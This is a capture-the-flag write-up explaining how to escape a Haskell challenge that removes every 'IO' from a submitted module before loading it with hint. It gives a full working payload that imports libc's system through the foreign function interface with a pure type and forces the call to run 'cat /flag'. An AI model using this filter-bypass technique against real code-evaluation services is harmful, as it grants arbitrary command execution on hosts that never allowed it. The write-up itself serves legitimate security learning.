The challenge reads a Haskell module, removes every occurrence of IO, and writes the result to Payload.hs. It then loads the module with hint and runs a function called runMe.

runMe :: () -> ()

At first, this makes runMe seem useless; it accepts no meaningful input and can only return ().

Reading the source code shows the input filter:

stripIO :: String -> String
stripIO [] = []
stripIO ('I' : 'O' : xs) = stripIO xs
stripIO (x : xs) = x : stripIO xs

It removes IO wherever it appears in the submission.

We can see this is called in main.

getInput >>= writeFile "Payload.hs" . stripIO

r <- runInterpreter interp
case r of
    Left err -> print err
    Right runMe -> print $ runMe ()

The interpreter loads our submission as a normal Haskell module:

interp = do
    loadModules ["Payload.hs"]
    setTopLevelModules ["Payload"]
    interpret "runMe" as

The filter prevents us from using a normal IO function, but it doesn’t restrict what’s compiled; the foreign function interface is noticably still available.

Calling system

Using ForeignFunctionInterface, we can use libc’s system function. Declaring it with an IO would be filtered out, so instead we give it a pure type:

foreign import ccall unsafe "system" c_system :: Addr# -> CInt

The MagicHash extension gives us unboxed string literals. Any string that ends in # will have the type Addr#, which matches what’s expected by c_system.

c_system "cat /flag"# 

As Haskell is lazy, the result needs to be forced or the call may never run. Using seq forces c_system.

c_system "cat /flag"# `seq` ()

Payload

{-# LANGUAGE ForeignFunctionInterface, MagicHash, UnliftedFFITypes #-}

module Payload where

import Foreign.C.Types (CInt(..))
import GHC.Exts (Addr#)

foreign import ccall unsafe "system" c_system :: Addr# -> CInt

runMe :: () -> ()
runMe _ = c_system "cat /flag"# `seq` ()

When the challenge calls runMe (), the foreign call cats the flag, giving us the answer we can then submit!